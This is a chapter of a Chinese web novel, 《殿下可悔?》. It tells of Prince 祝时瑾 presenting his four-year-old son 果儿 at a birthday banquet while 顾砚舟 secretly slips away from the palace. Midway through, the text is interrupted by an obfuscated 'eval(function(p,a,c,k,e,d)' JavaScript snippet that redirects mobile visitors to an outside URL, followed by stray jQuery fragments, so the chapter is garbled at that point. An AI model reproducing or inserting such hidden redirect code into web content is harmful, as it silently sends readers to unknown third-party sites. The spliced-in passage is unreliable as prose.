18.14.果儿生辰
作品:《殿下可悔?》 三日后,果儿的生辰宴如期举行。
天还没亮,王府门口就排起了长长的队伍,全是前来祝贺的宾客,宜州城内有头有脸的人家、东南府衙有品级的文官武将,几乎全都在这里了。
王府大门外也摆了整整一条街的流水席,大清早就开席,赶来吃流水席的老百姓们兴高采烈、热闹非凡,一边瞅着那些在大门处排着队等着入府的贵人们,一边热火朝天地议论。
“这回大摆宴席,是给哪位公子庆生?王府不就只有前几年出生的那一位三公子了么?我记得还不到三公子的生辰呀!王爷王妃又生了一个?”
“什么又生了一个,你没听人说吗?是世子殿下的长子!未来的大公子!”
“世子殿下的长子?可是世子妃不是已经死……”话还没说完,这人被同伴一把捂住嘴:“小点儿声!”
他赶紧压低声音:“不是死在海上了么?殿下也没再娶,这个难道是私生子?”
同伴拍了一下他的脑袋:“你傻啦?王府会给私生子办这么大排场的生辰宴?”
又有人神神秘秘地开口:“我听人说,世子妃没死呢,自己在外面生下了孩子,这次被殿下找回来了。”
“既然没死,为什么这几年一点儿消息都没有?早点儿传消息回来,殿下就能早点去接他们,就不用在外面过苦日子啊!”
“谁知道呢。也许在王府的日子并没有咱们想的那么好,要不然,怎么会有人放着荣华富贵不享,跑到外面去躲起来。”
“有道理啊。我还记得前几年传过风声,说要重新选妃的,想必殿下对这个世子妃也不满意,毕竟是乾君嘛。”
“对对对,我也记得呢!殿下不喜欢他,他在王府的日子肯定过得不好,这才跑了!”
……
王府内院,果儿被摆弄着小手小脚穿上精美绝伦的锦衣,戴上祝时瑾命人给他赶制的多宝多福冠,纯金发冠镶满了各色珠宝,沉甸甸的,一戴上去,把他耷拉着的小脑袋压得更低了。
祝时瑾进屋看见,道:“怎么,今天不开心?”
果儿闷闷不乐的,不作声。
“来,跟爹爹出去,客人们都到了。”
婢女抱着果儿从圆凳上下来,果儿垂头耷脑的,走了几步,停住了。
“我不想去了。”
屋里所有人都愣了愣。
婢女们连忙伏低身子哄他:“公子,怎么了?今天打扮得漂漂亮亮的,那么多人来给你庆祝生辰,出去玩一玩儿多好呀?”
果儿一撇嘴,抬手把头上的发冠一把抓下来,重重砸在地上:“我说不去了!”
纯金的发冠摔在地上,镶嵌的珍珠宝石四散飞溅。
婢女们吓得纷纷跪倒,不敢多言。
祝时瑾望着他,果儿也抬眼瞪他,相似的眉眼、面容,连脾气都一模一样。
……真是他的孩子,砚舟可不是这个脾气的。
祝时瑾叹了一口气,半蹲下来,和果儿平视:“你不是答应了爹爹,今天会乖乖的么?”
“你也答应我了,说爹爹会来的!”果儿握紧两个小拳头,声音比他大多了,“我有好好上课,每天都做功课做到好晚,你说过这样爹爹就会来看我的!我都做到了!”
“……”祝时瑾道,“爹爹已经给娘亲送去了新衣和首饰,有人在那里等着伺候他,只要他愿意,马上就能来看你。”
果儿愤怒的小脸上产生了几分犹豫和动摇。
“可是你说爹爹生病了,起不来,那他不就不能来了吗?”他说着,声音又大起来了,“肯定是你害他生病的!你这个大坏蛋!”
“……”祝时瑾道,“好罢,是爹爹食言了。不过,如果你乖乖的,宴会之后,爹爹就带你去看娘亲。”
果儿已经有半个月没见到爹爹了,虽然知道见了面,爹爹也不愿意搭理自己,可是、可是……爹爹才是世界上最爱他的人,那种全心全意的爱,和大坏蛋给他锦衣玉食的这种爱,是不一样的。
爹爹会原谅他的吧?
如果不原谅的话,他就多求一求爹爹好了。
果儿撇撇嘴:“那这回你要说话算数。”
外院熙熙攘攘的宾客们,终于在午宴开席的前一刻,见到了今日的小寿星。
“哎,来了来了,快看。”
“就是殿下抱着的那孩子?”
众人都好奇得要命,自从半个月前接到请柬,宜州城里关于这个孩子的传闻都已换了好几个说法了——但生辰宴的邀请函上又明明白白写的是四岁,四岁的孩子,那不就是殿下当年迎娶那个乾君世子妃的时候……
乾君生孩子很少见,但也不是没有,闻大公子的父母就都是乾君,但是当年那个乾君世子妃,不是王府为了避祸应急才让殿下娶的么?
而且那人后来也已经死在海上……要是没死,为何四年都不回宜州?
要是殿下在当年就另有佳人,又为什么等到孩子都四岁了才昭告天下?
这些谜团太难解释,众人的好奇心简直压都压不住,刚刚人没出现,还能勉强维持矜持,这下一听见殿下抱着孩子出来了,登时齐刷刷伸长了脖子往那边看去——
“……天哪。”众人纷纷倒吸一口凉气,“和殿下简直是一个模子刻出来的。”
离得近的宾客们,已经起身去道贺了,只是这位小寿星今日不知为何心情不佳,小嘴噘得能挂油瓶,连和殿下走得最近的闻大人拿着价值连城的夜明珠当筹码,他也不肯让人家抱一下,小脑袋一扭,扎进父亲怀里不抬头了,留给闻大人一个冷酷的后脑勺。
祝时瑾微微一笑,拍拍果儿小小的脊背安抚片刻,带些微妙的炫耀,同闻敬珩道:“果儿还小,怕生。”
闻敬珩:“……”
闻敬珩有点儿酸酸的嫉妒:“小公子长得和殿下真像。”
“我的孩子,当然像我。”
“……”闻敬珩有点儿受不了了,说,“怎么不见顾砚舟?”
祝时瑾的笑容顿了顿,没有回答,只道:“我已向陛下请旨,为砚舟封世子妃诰命,日后见面,你可要改口。”
两人是从小一块儿长大的好友,所以祝时瑾这话的语气并不像一句命令——可如果不是命令,他何必在大庭广众之下提起?
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17208733|196898||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
闻敬珩出身世家,父亲是东南府署的现任常侍,王爷的左膀右臂,闻敬珩本人也在府署中身居要职,是宜州年轻一辈世家子弟的领头羊,连他都要改口,其他人还能有例外?
众人都在心里倒吸了一口凉气,相应的,对那些盛嚣尘上的流言也就有了判断——请封世子妃诰命,这孩子必定是顾砚舟给殿下生下的孩子了,虽是个坤君,但和殿下长得像,四岁了还抱在怀里,就跟王爷当年宠大公子似的,这顾砚舟可不就母凭子贵了么!
于是立刻有机灵的开始拍马屁:“恭喜殿下,接回世子妃和小公子,一家人团团圆圆,这真是命中注定的缘分,世子妃和小公子都是有福之人呐!”
“恭喜殿下!恭喜殿下!小公子洪福齐天,将来必定是人中龙凤!”
“那就祝殿下和世子妃再生贵子,生个小殿下,我们就等着好消息!哈哈哈哈!”
祝时瑾脸上有了些笑容:“承各位吉言。”
远远的,一处偏僻的角门后,顾砚舟悄无声息地踏过青石板铺就的小道,从八角窗格中露出一双略显疲惫的眼睛。
他瘦得厉害。
几年的漂泊生涯没有击垮他,可卧床这短短一个月,他整个人就瘦得脱了形,消沉阴郁,穿着晃晃荡荡过于宽松的旧袍子,有几分形销骨立的味道。
隔着熙熙攘攘的人潮,他遥遥望向那对被众星拱月般簇拥着的父子。
世子殿下锦衣华服,俊美逼人,怀里抱着的果儿也是个粉雕玉琢的漂亮娃娃,真是一对走到哪儿都耀眼夺目的父子。
真好。
这才是一对真正的父子。
果儿终于回到了他本该待的位置。
办完了这场生辰宴,他就正式在王府立足了,这样大的排场、这么多的宾客,足见殿下对他的重视和宠爱。没有人再会质疑他的身份、质疑他在王府的地位,他会平安幸福地长大的。
这样,顾砚舟最后的一点儿牵挂也能了却了。
顾砚舟的呼吸都轻了些。
他背上背着简单的行囊。
他决定就在今日离开。
在这个热闹的、欢庆的日子,所有人都高高兴兴、把酒言欢,连守卫都比平常松懈不少,没有人会注意到他悄悄离开。
他远远望着人群中的果儿,他知道这可能是他这辈子看这个孩子的最后一眼了,他想深深地、深深地把他的样子刻在脑海中,留待余生一次次回忆。
他看了很久很久,眼睛都微微红了,才终于收回目光,转身准备离开。
可就在转过身那一刻,他实在忍不住,回头又看了一眼。
祝时瑾正哄着果儿,脸上带着柔和的笑意。
殿下……
这也是我们最后一次见面了罢。
我没有那个好运气,和你一直走到最后,但还是谢谢你,出现在我的生命中,让我有幸与你短暂地同行这段路。
祝你平安喜乐,一世无忧。
顾砚舟深深吸了一口气,收回视线,再无留恋,一翻身跃过青瓦围墙,瞬间消失得无影无踪,偏僻的角门处依旧静悄悄的,仿佛他从未来过。

